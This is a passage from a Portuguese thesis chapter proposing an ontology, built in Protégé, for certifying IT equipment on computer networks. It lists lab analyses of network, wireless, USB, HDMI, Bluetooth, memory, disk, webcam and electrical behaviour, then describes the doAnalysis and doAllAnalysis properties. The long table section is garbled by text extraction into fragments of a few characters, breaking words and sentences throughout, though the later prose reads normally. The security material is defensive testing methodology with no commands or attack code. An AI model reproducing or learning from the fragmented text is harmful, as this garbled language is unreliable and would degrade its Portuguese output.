eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

135 .

Des

criç

ão d

as A

nális

es d

e Co

mpo

rtam

ento

s e

Test

es a

Efe

tuar

Su

bcla

sse

ou

Indi

vídu

o D

escr

ição

C.1

oTí

tulo

: Aná

lise

das C

omun

icaç

ões d

e Re

de C

om F

ios -

Cri

ação

de

uma

Rede

Loc

al (L

AN) s

em li

gaçã

o ao

ext

erio

r par

a te

ste

e av

alia

ção

de c

ompu

tado

r o

Equi

pam

ento

s N

eces

sári

os: C

abos

de

Rede

, Rou

ter,

Switc

h, C

ompu

tado

r In

jeto

r de

Trá

fego

, Com

puta

dor

Anal

isad

or d

e Tr

áfeg

o, e

quip

amen

to e

létr

ico

e el

etró

nico

di

vers

o o

Aplic

açõe

s N

eces

sári

as: A

plic

açõe

s In

jeto

ras

de T

ráfe

go d

e Re

de (

dese

nvol

vida

s no

Lab

orat

ório

ou

não)

, Apl

icaç

ões

Anal

isad

oras

de

Tráf

ego

de R

ede

(des

envo

lvid

as

no L

abor

atór

io o

u nã

o), A

plic

açõe

s de

Prod

ução

par

a ef

etua

r o R

elat

ório

Téc

nico

o

Test

es e

Aná

lises

: o

Conf

igur

ação

do

rout

er d

e m

odo

a cr

iar u

ma

LAN

o

Liga

ção

dos c

ompu

tado

res a

o sw

itch

oLi

gaçã

o do

switc

h ao

rout

er

oEs

ta re

de n

ão d

eve

ter a

cess

o ao

ext

erio

r do

Labo

rató

rio;

o

Cená

rio

1 - A

nális

e do

Com

puta

dor

em R

ede

Loca

l sem

tráf

ego

e se

m li

gaçã

o à

Inte

rnet

o

Não

dev

e ex

istir

tráf

ego

de re

de n

a LA

N a

lém

do

prod

uzid

o pe

lo ro

uter

e p

elo

com

puta

dor a

ana

lisar

o

Liga

ção

e co

nfig

uraç

ão d

o co

mpu

tado

r a a

nalis

ar e

do

com

puta

dor a

nalis

ador

ao

rout

er d

e ac

ordo

com

a L

AN c

riad

a an

teri

orm

ente

; o

Anál

ise

do tr

áfeg

o de

rede

ger

ado

pelo

com

puta

dor a

nalis

ado

com

o re

curs

o a

aplic

açõe

s es

pecí

ficas

(des

envo

lvid

as n

o La

bora

tóri

o ou

não

) de

mod

o a

obte

r o q

ue

o m

esm

o en

via

para

a in

terf

ace

de re

de;

oCe

nári

o 2

- Aná

lise

do C

ompu

tado

r em

Red

e Lo

cal c

om tr

áfeg

o e

sem

liga

ção

à In

tern

et

oCa

ptur

a de

tráf

ego

de r

ede

pref

eren

cial

men

te a

par

tir d

o am

bien

te (

LAN

) on

de o

com

puta

dor

a te

star

irá

ser

incl

uído

, dur

ante

as

hora

s no

rmai

s de

exp

edie

nte

e em

vár

ios p

erío

dos,

de m

odo

a ob

ter u

m p

adrã

o do

que

cir

cula

nes

sa re

de, n

este

cas

o se

m q

ue e

ssa

LAN

tenh

a ac

esso

à In

tern

et

oLi

gaçã

o e

conf

igur

ação

do

com

puta

dor

a an

alis

ar,

do c

ompu

tado

r in

jeto

r de

trá

fego

e d

o co

mpu

tado

r an

alis

ador

ao

rout

er d

e ac

ordo

com

a L

AN c

riad

a an

teri

orm

ente

; o

Inje

ção

de t

ráfe

go d

e re

de g

erad

o pe

lo c

ompu

tado

r in

jeto

r co

m o

rec

urso

a a

plic

açõe

s es

pecí

ficas

(de

senv

olvi

das

no L

abor

atór

io o

u nã

o) d

e m

odo

a ilu

dir

o co

mpu

tado

r a a

nalis

ar e

leva

-lo a

pen

sar q

ue e

stá

ligad

o na

rede

do

ambi

ente

ond

e ir

á se

r inc

luíd

o, n

este

caso

, sem

ace

so à

Inte

rnet

o

Anál

ise

do tr

áfeg

o de

rede

ger

ado

pelo

com

puta

dor a

nalis

ado

com

o re

curs

o a

aplic

açõe

s es

pecí

ficas

(des

envo

lvid

as n

o La

bora

tóri

o ou

não

) de

mod

o a

obte

r o q

ue

o m

esm

o en

via

para

a in

terf

ace

de re

de;

oCe

nári

o 3

– An

ális

e do

Com

puta

dor

em R

ede

Loca

l com

tráf

ego

e co

m li

gaçã

o à

Inte

rnet

o

Capt

ura

de tr

áfeg

o de

red

e pr

efer

enci

alm

ente

a p

artir

do

ambi

ente

(LA

N)

onde

o c

ompu

tado

r a

test

ar ir

á se

r in

cluí

do, d

uran

te a

s ho

ras

norm

ais

de e

xped

ient

e e

em v

ário

s per

íodo

s, de

mod

o a

obte

r um

pad

rão

do q

ue c

ircu

la n

essa

rede

, nes

te c

aso

com

ess

a LA

N c

om a

cess

o à

Inte

rnet

o

Liga

ção

e co

nfig

uraç

ão d

o co

mpu

tado

r a

anal

isar

, do

com

puta

dor

inje

tor

de t

ráfe

go e

do

com

puta

dor

anal

isad

or a

o ro

uter

de

acor

do c

om a

LAN

cri

ada

ante

rior

men

te;

oIn

jeçã

o de

trá

fego

de

rede

ger

ado

pelo

com

puta

dor

inje

tor

com

o r

ecur

so a

apl

icaç

ões

espe

cífic

as (

dese

nvol

vida

s no

Lab

orat

ório

ou

não)

de

mod

o a

iludi

r o

com

puta

dor a

ana

lisar

e le

va-lo

a p

ensa

r que

est

á lig

ado

na re

de d

o am

bien

te o

nde

irá

ser i

nclu

ído,

nes

te ca

so, c

om a

ceso

à In

tern

et

oAn

ális

e do

tráf

ego

de re

de g

erad

o pe

lo c

ompu

tado

r ana

lisad

o co

m o

recu

rso

a ap

licaç

ões

espe

cífic

as (d

esen

volv

idas

no

Labo

rató

rio

ou n

ão) d

e m

odo

a ob

ter o

que

o

mes

mo

envi

a pa

ra a

inte

rfac

e de

rede

;

C.1.

2 o

Títu

lo: A

nális

e da

s Com

unic

açõe

s de

Rede

Sem

Fio

s o

Equi

pam

ento

s N

eces

sári

os: C

abos

de

Rede

, Rou

ter

wir

eles

s, Co

mpu

tado

r In

jeto

r de

Trá

fego

, Com

puta

dor

Anal

isad

or d

e Tr

áfeg

o, e

quip

amen

to e

létr

ico

e el

etró

nico

di

vers

o

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

136

.

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) de

anál

ise

dest

e tip

o de

com

unic

açõe

s o

Test

es e

Aná

lises

: o

Test

es e

Aná

lises

aos

Pro

toco

los d

e Se

gura

nça

(WEP

, WPA

, WPA

2, e

tc)

oOu

tras

Aná

lises

esp

ecífi

cas

C.2.

1

oTí

tulo

: Aná

lise

das c

omun

icaç

ões U

SB

oEq

uipa

men

tos

Nec

essá

rios

: equ

ipam

ento

s esp

ecífi

cos d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões,

cabo

s USB

, dis

posi

tivo

a lig

ar p

or e

sta

inte

rfac

e ao

com

puta

dor

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) de

anál

ise

dest

e tip

o de

com

unic

açõe

s o

Test

es e

Aná

lises

: o

Anál

ise

das c

omun

icaç

ões U

SB

oOu

tras

Aná

lises

esp

ecífi

cas

C.2.

2

oTí

tulo

: Aná

lise

das c

omun

icaç

ões H

DM

I o

Equi

pam

ento

s N

eces

sári

os: e

quip

amen

tos e

spec

ífico

s de

anál

ise

dest

e tip

o de

com

unic

açõe

s, ca

bos H

DM

I, di

spos

itivo

a li

gar p

or e

sta

inte

rfac

e ao

com

puta

dor

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) de

anál

ise

dest

e tip

o de

com

unic

açõe

s o

Test

es e

Aná

lises

: o

Anál

ise

das c

omun

icaç

ões H

DM

I o

Outr

as A

nális

es e

spec

ífica

s

C.2.

3

oTí

tulo

: Aná

lise

das c

omun

icaç

ões C

OM

oEq

uipa

men

tos

Nec

essá

rios

: equ

ipam

ento

s esp

ecífi

cos d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões,

cabo

s sér

ie, d

ispo

sitiv

o a

ligar

por

est

a in

terf

ace

ao co

mpu

tado

r o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões

oTe

stes

e A

nális

es:

oAn

ális

e da

s com

unic

açõe

s COM

o

Outr

as A

nális

es e

spec

ífica

s

C.2.

4

oTí

tulo

: Aná

lise

das c

omun

icaç

ões L

PT

oEq

uipa

men

tos

Nec

essá

rios

: equ

ipam

ento

s esp

ecífi

cos d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões,

cabo

s LPT

, dis

posi

tivo

a lig

ar p

or e

sta

inte

rfac

e ao

com

puta

dor

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) de

anál

ise

dest

e tip

o de

com

unic

açõe

s o

Test

es e

Aná

lises

: o

Anál

ise

das c

omun

icaç

ões L

PT

oOu

tras

Aná

lises

esp

ecífi

cas

C.2.

5

oTí

tulo

: Aná

lise

das c

omun

icaç

ões B

luet

ooth

o

Equi

pam

ento

s N

eces

sári

os: e

quip

amen

tos e

spec

ífico

s de

anál

ise

dest

e tip

o de

com

unic

açõe

s, di

spos

itivo

a li

gar p

or e

sta

inte

rfac

e ao

com

puta

dor

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) de

anál

ise

dest

e tip

o de

com

unic

açõe

s o

Test

es e

Aná

lises

: o

Anál

ise

das c

omun

icaç

ões B

luet

ooth

o

Outr

as A

nális

es e

spec

ífica

s

C.2.

6 o

Títu

lo: A

nális

e da

s com

unic

açõe

s Fir

ewir

e

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

137 .

oEq

uipa

men

tos

Nec

essá

rios

: equ

ipam

ento

s esp

ecífi

cos d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões,

disp

ositi

vo a

liga

r por

est

a in

terf

ace

ao c

ompu

tado

r o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões

oTe

stes

e A

nális

es:

oAn

ális

e da

s com

unic

açõe

s Fir

ewir

e o

Outr

as A

nális

es e

spec

ífica

s

C.2.

7

oTí

tulo

: Aná

lise

das c

omun

icaç

ões I

nfra

verm

elho

s o

Equi

pam

ento

s N

eces

sári

os: e

quip

amen

tos e

spec

ífico

s de

anál

ise

dest

e tip

o de

com

unic

açõe

s, di

spos

itivo

a li

gar p

or e

sta

inte

rfac

e ao

com

puta

dor

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões

espe

cífic

as (d

esen

volv

idas

no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões

oTe

stes

e A

nális

es:

oAn

ális

e da

s com

unic

açõe

s Inf

rave

rmel

hos

oOu

tras

Aná

lises

esp

ecífi

cas

C.2.

8

oTí

tulo

: Aná

lise

das c

omun

icaç

ões a

trav

és d

e Se

nsor

es

oEq

uipa

men

tos

Nec

essá

rios

: equ

ipam

ento

s esp

ecífi

cos d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões,

disp

ositi

vo a

liga

r por

est

a in

terf

ace

ao c

ompu

tado

r o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de c

omun

icaç

ões

oTe

stes

e A

nális

es:

oAn

ális

e da

s com

unic

açõe

s atr

avés

de

Sens

ores

(exº

GPS

) o

Outr

as A

nális

es e

spec

ífica

s

C.2.

9

oTí

tulo

: Aná

lise

de R

adia

ção

Elet

rom

agné

tica

oEq

uipa

men

tos

Nec

essá

rios

: equ

ipam

ento

s esp

ecífi

cos d

e an

ális

e de

radi

ação

ele

trom

agné

tica,

ent

re o

utro

s. o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

da R

adia

ção

Elet

rom

agné

tica

emiti

da p

elo

equi

pam

ento

em

test

e o

Outr

as A

nális

es e

spec

ífica

s

C.2.

10

oAn

ális

e de

out

ro ti

po d

e co

mun

icaç

ões:

fica

rá e

m a

bert

o pa

ra p

ropo

r os t

este

s e a

valia

ções

a re

aliz

ar c

onso

ante

o e

quip

amen

to e

os c

ompo

rtam

ento

s em

que

stão

.

D.1

.1

oTí

tulo

: Aná

lise

dos S

ervi

ços A

tivos

no

sist

ema

o

Equi

pam

ento

s N

eces

sári

os: n

ão sã

o ne

cess

ário

s equ

ipam

ento

s o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Cená

rio

1 -

Anál

ise

do C

ompu

tado

r is

olad

amen

te, C

enár

io 2

- A

nális

e do

Com

puta

dor

em L

AN f

ictí

cia

sem

liga

ção

à In

tern

et e

Cen

ário

3 –

Aná

lise

do

Com

puta

dor

em L

AN fi

ctíc

ia c

om li

gaçã

o fic

tíci

a à

Inte

rnet

o

Anál

ise

dos S

ervi

ços A

tivos

no

sist

ema

utili

zand

o o

gest

or d

e ta

refa

s do

SO

oAn

ális

e do

s Ser

viço

s Ativ

os n

o si

stem

a co

m o

recu

rso

a ap

licaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) o

Outr

as A

nális

es e

spec

ífica

s

D.1

.2

oTí

tulo

: Aná

lise

dos p

roce

ssos

ativ

os n

o si

stem

a

oEq

uipa

men

tos

Nec

essá

rios

: não

são

nece

ssár

ios e

quip

amen

tos

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

138

.

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) de

anál

ise

dest

e tip

o de

info

rmaç

ão

oTe

stes

e A

nális

es:

oCe

nári

o 1

- An

ális

e do

Com

puta

dor

isol

adam

ente

, Cen

ário

2 -

Aná

lise

do C

ompu

tado

r em

LAN

fic

tíci

a se

m li

gaçã

o à

Inte

rnet

e C

enár

io 3

– A

nális

e do

Co

mpu

tado

r em

LAN

fict

ícia

com

liga

ção

fictí

cia

à In

tern

et

oAn

ális

e do

s pro

cess

os a

tivos

no

sist

ema

utili

zand

o o

gest

or d

e ta

refa

s do

SO

oAn

ális

e do

s pro

cess

os a

tivos

no

sist

ema

com

o re

curs

o a

aplic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão)

oOu

tras

Aná

lises

esp

ecífi

cas

D.1

.3

oTí

tulo

: Aná

lise

das a

plic

açõe

s ativ

as n

o si

stem

a

oEq

uipa

men

tos

Nec

essá

rios

: não

são

nece

ssár

ios e

quip

amen

tos

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) de

anál

ise

dest

e tip

o de

info

rmaç

ão

oTe

stes

e A

nális

es:

oCe

nári

o 1

- An

ális

e do

Com

puta

dor

isol

adam

ente

, Cen

ário

2 -

Aná

lise

do C

ompu

tado

r em

LAN

fic

tíci

a se

m li

gaçã

o à

Inte

rnet

e C

enár

io 3

– A

nális

e do

Co

mpu

tado

r em

LAN

fict

ícia

com

liga

ção

fictí

cia

à In

tern

et

oAn

ális

e da

s apl

icaç

ões a

tivas

no

sist

ema

utili

zand

o o

gest

or d

e ta

refa

s do

SO

oAn

ális

e da

s apl

icaç

ões a

tivas

no

sist

ema

com

o re

curs

o a

aplic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão)

oOu

tras

Aná

lises

esp

ecífi

cas

D.2

oTí

tulo

: Aná

lise

da m

emór

ia R

AM

oEq

uipa

men

tos

Nec

essá

rios

: com

puta

dor

e/ou

equ

ipam

ento

s es

pecí

ficos

de

anál

ise

dest

e tip

o de

har

dwar

e co

mo

Rack

s El

etró

nica

s, Si

mul

ador

es d

e Ci

rcui

tos,

entr

e ou

tros

o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

da m

emór

ia R

AM d

o si

stem

a co

m o

recu

rso

a ap

licaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) o

Anál

ise

da m

emór

ia R

AM c

om re

curs

o a

equi

pam

ento

s esp

ecífi

co

oOu

tras

Aná

lises

esp

ecífi

cas

D.3

oTí

tulo

: Aná

lise

da D

isco

Ríg

ido

o

Equi

pam

ento

s N

eces

sári

os: c

ompu

tado

r e/o

u eq

uipa

men

tos e

spec

ífico

s de

anál

ise

dest

e tip

o de

har

dwar

e o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

do D

isco

Ríg

ido

com

o re

curs

o a

aplic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão)

oAn

ális

e do

Dis

co R

ígid

o co

m re

curs

o a

equi

pam

ento

s esp

ecífi

co

oOu

tras

Aná

lises

esp

ecífi

cas

D.3

.2

oTí

tulo

: Aná

lise

de d

ispo

sitiv

os F

lash

USB

o

Equi

pam

ento

s N

eces

sári

os: c

ompu

tado

r e/o

u eq

uipa

men

tos e

spec

ífico

s de

anál

ise

dest

e tip

o de

har

dwar

e o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

de d

ispo

sitiv

os F

lash

USB

com

o re

curs

o a

aplic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão)

oOu

tras

Aná

lises

esp

ecífi

cas

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

139 .

D.3

.3

oTí

tulo

: Aná

lise

de C

artõ

es d

e M

emór

ia

oEq

uipa

men

tos

Nec

essá

rios

: com

puta

dor c

om e

ntra

da c

ompa

tível

e/o

u eq

uipa

men

tos e

spec

ífico

s de

anál

ise

dest

e tip

o de

har

dwar

e o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

de C

artõ

es d

e M

emór

ia co

m o

recu

rso

a ap

licaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) o

Outr

as A

nális

es e

spec

ífica

s

D.4

.1

oTí

tulo

: Aná

lise

de W

ebca

m (p

erifé

rico

) o

Equi

pam

ento

s N

eces

sári

os: c

ompu

tado

r e/o

u eq

uipa

men

tos e

spec

ífico

s de

anál

ise

dest

e tip

o de

har

dwar

e o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

de W

ebca

m c

om o

recu

rso

a ap

licaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) o

Outr

as A

nális

es e

spec

ífica

s

D.4

.2

oTí

tulo

: Aná

lise

de M

icro

fone

(per

iféri

co)

oEq

uipa

men

tos

Nec

essá

rios

: com

puta

dor e

/ou

equi

pam

ento

s esp

ecífi

cos d

e an

ális

e de

ste

tipo

de h

ardw

are

oAp

licaç

ões

Nec

essá

rias

: apl

icaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) de

anál

ise

dest

e tip

o de

info

rmaç

ão

oTe

stes

e A

nális

es:

oAn

ális

e de

Mic

rofo

ne c

om o

recu

rso

a ap

licaç

ões e

spec

ífica

s (de

senv

olvi

das n

o La

bora

tóri

o ou

não

) o

Outr

as A

nális

es e

spec

ífica

s

D.5

.1

oTí

tulo

: Aná

lise

de V

olta

gem

o

Equi

pam

ento

s N

eces

sári

os: e

quip

amen

tos e

spec

ífico

s de

anál

ise

de V

olta

gem

e M

ultím

etro

o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

da V

olta

gem

que

cir

cula

no

equi

pam

ento

o

Outr

as A

nális

es e

spec

ífica

s

D.5

.2

oTí

tulo

: Aná

lise

de A

mpe

rage

m

oEq

uipa

men

tos

Nec

essá

rios

: equ

ipam

ento

s esp

ecífi

cos d

e an

ális

e de

Am

pera

gem

e M

ultím

etro

o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

da A

mpe

rage

m q

ue c

ircu

la n

o eq

uipa

men

to

oOu

tras

Aná

lises

esp

ecífi

cas

D.6

oTí

tulo

: Aná

lise

de C

ompo

nent

es E

letr

ónic

os

oEq

uipa

men

tos

Nec

essá

rios

: equ

ipam

ento

s esp

ecífi

cos d

e an

ális

e co

mo

Rack

s Ele

trón

icas

, Sim

ulad

ores

de

Circ

uito

s, M

ultím

etro

, ent

re o

utro

s. o

Aplic

açõe

s N

eces

sári

as: a

plic

açõe

s esp

ecífi

cas (

dese

nvol

vida

s no

Labo

rató

rio

ou n

ão) d

e an

ális

e de

ste

tipo

de in

form

ação

o

Test

es e

Aná

lises

: o

Anál

ise

de C

ompo

nent

es E

letr

ónic

os (p

roce

ssad

or, p

roce

ssad

or g

ráfic

o, o

utro

s m

icro

ciph

s, et

c)

.

Cer

tific

ação

de

Idon

eida

de d

e Eq

uipa

men

to In

form

átic

o In

tegr

ado

em R

edes

de

Com

puta

dore

s

Cap

ítulo

6 –

Pro

post

a de

Ont

olog

ia d

e Eq

uipa

men

to In

form

átic

o

140

.

oOu

tras

Aná

lises

esp

ecífi

cas

D

.7

oOu

tras

Aná

lises

e T

este

s: fi

cará

em

abe

rto

para

pro

por o

s tes

tes e

ava

liaçõ

es c

onso

ante

o e

quip

amen

to e

os c

ompo

rtam

ento

s em

que

stão

.

Tabe

la 1

0 - D

escr

ição

das

Aná

lises

a r

ealiz

ar a

o Eq

uipa

men

to In

form

átic

o

.



141 .

6.6.4 Criação das Propriedades da Ontologia

Existem dois tipos de Propriedades: as Propriedades de Objeto (Object Properties) e as Propriedades de Dados (Data Properties). As Object Properties relacionam as interações entre dois Indivíduos, ou seja, duas Instâncias de objetos de determinadas Classes. Por seu lado as Data Properties relacionam Indivíduos com um determinado tipo de dados, ou seja, um determinado Indivíduo como “Processador” poderá ter uma Propriedade “temperaturaMáxima” que será do tipo Inteiro (Integer) e que poderá representar um intervalo numérico de temperaturas [73].

Uma vez que se pretendem associar os diferentes Equipamentos TI a Classes de Comportamentos de uma forma hierárquica, são necessárias criar tanto uma Propriedade do tipo Object Property como uma do tipo Data Property. A primeira relaciona Indivíduos entre si, ou seja, um determinado Equipamento TI será relacionado com um determinado Comportamento a analisar, e foi-lhe assignado o nome “efetua a análise” (doAnalysis). A segunda relaciona Indivíduos com Classes, ou seja, um determinado Equipamento TI será relacionado com uma Classe de Comportamentos a analisar, que significa que todas as suas Subclasses e Indivíduos deverão ser efetuadas, e foi-lhe assignado o nome “efetua todas as análise” (doAllAnalysis)

A Propriedade do tipo Object Property designada doAnalysis é do tipo Transitiva (Transitive) uma vez que se se relaciona uma Classe X com uma Classe Y, e por sua vez a Classe Y com a Classe Z, pode assim inferir-se que a Classe X está relacionada com a Classe Z através dessa mesma Propriedade, como exemplifica a Figura que se segue [73].

Figura 37 – Propriedade Transitiva entre Classes no Protégé

Análise de Comportamentos relacionados diretamente

com comunicações

Análise das Comunicações de Rede

Análise das Comunicações de

Rede com Fios

Com

.



142 .

Para a criação da Propriedade designada doAnalysis que relaciona Indivíduos utilizou-

se o separador Object Property e o botão que significa Adicionar Subpropriedade (Add Sub Property) à Propriedade topObjectPropery que é por defeito a Propriedade de topo da hierarquia.

A esta Propriedade também foram adicionados comentários descritivos através da janela Annotatios e mais precisamente num campo do tipo comment.

Às Propriedades podem ser associados um Domínio (Domain) e um Alcance (Range). Quando assim acontece, as Propriedades ligam Indivíduos do Domain com Indivíduos do Range [73]. Neste caso o Domínio da Propriedade doAnalysis será a Classe IT_Equipment e o seu Alcance será a Classe IT_Equipment_Beahvior_Analysis.


Figura 38 – Criação da Propriedade doAnalysis na Ontologia ativa no Protégé

Para a criação da Propriedade designada doAllAnalysis que relaciona Indivíduos com

Classes utilizou-se o separador Data Property e o botão que significa Adicionar Subpropriedade (Add Sub Property) à Propriedade topObjectPropery que é por defeito a Propriedade de topo da hierarquia.

A esta Propriedade também foram adicionados comentários descritivos através da janela Annotatios e mais precisamente num campo do tipo comment.

.



143 .

Quanto ao seu Domain será a Classe IT_Equipment, já no que diz respeito ao seu Range não existe um tipo de dados que se pretenda associar, mas sim Classes de Comportamentos, assim, foi criada uma String na qual se colocou como anotação a Classe IT_Equipment_Beahvior_Analysis especificando assim o Alcance da Propriedade.


Figura 39 - Criação da Propriedade doAllAnalysis na Ontologia ativa no Protégé

6.6.5 Atribuição das Propriedades aos Indivíduos

Aos Indivíduos da Ontologia terão que ser atribuídas as Propriedades criadas anteriormente, sendo que existirão diferentes tipos de atribuições assim seja o tipo de equipamento a avaliar.

No caso das Object Properties é necessário escolher o Indivíduo em causa, e seguidamente na janela Property assertions escolher adicionar uma Object property assertion a qual abre uma nova janela onde se escolhe a Propriedade (que neste caso é a única na hierarquia de Propriedades) doAnalysis a qual será associada a um Indivíduo de outra Classe que representa determinados testes e avaliações a efetuar.

No exemplo da Figura que se segue, atribui-se ao Indivíduo B.1.4_Hard_Disks (que é Instância da Superclasse IT Equipment) o qual especifica um Disco Rígido, a Propriedade doAnalysis relacionada com o Indivíduo D.3.1_Hard_Disk_analysis (que é Instância da Superclasse IT Equipment Behavior Analysis) o qual especifica quais os testes e avaliações a efetuar ao Disco Rígido.

.



144 .

Figura 40 - Atribuição de Object Property na Ontologia ativa no Protégé

No caso das Data Properties é necessário escolher o Indivíduo em causa, seguidamente na janela Property assertions escolher adicionar uma Data property assertion a qual abre uma nova janela onde se escolhe a Propriedade (neste caso é a única na hierarquia de Prioriedades) doAllAnalysis a qual será associada a uma Classe que representa um conjunto de testes e avaliações a efetuar.

No exemplo da Figura que se segue, atribui-se ao Indivíduo A.1.1_Desktops (que é Instância da Superclasse IT Equipment) o qual especifica um Computador de Secretária Completo, a Propriedade doAllAnalysis. Neste caso os valores serão introduzidos manualmente (arrastando as respetivas Classes) uma vez que não será utilizado um tipo de dado específico (Int, String, unsignedByte, etc). Assim, foram introduzidas as Classes C_Directly_Related_Communications_Behavior_Analysis e D_Indiretcly_Related_Communications_Behavior_Analysis que significa que todos os testes e aviações descritos nas suas Subclasses e Indivíduos devem ser realizados ao Computador.

.



145 .

Figura 41 - Atribuição de Data Property na Ontologia ativa no Protégé

As Tabelas que se seguem apresentam uma proposta para a atribuição de Propriedades às Classes e aos Indivíduos da Ontologia.

Na Tabela que se segue apresenta-se uma proposta de atribuição de Propriedades para a Classe A de Equipamentos, ou seja, para os “Equipamentos capazes de se ligarem diretamente à rede”.

Proposta de Atribuição de Propriedades para a Classe A “Equipamentos capazes de se ligarem diretamente à rede”

Indivíduo da Classe A Classe, Subclasse ou Indivíduo correspondente da Classe de Comportamentos a Analisar

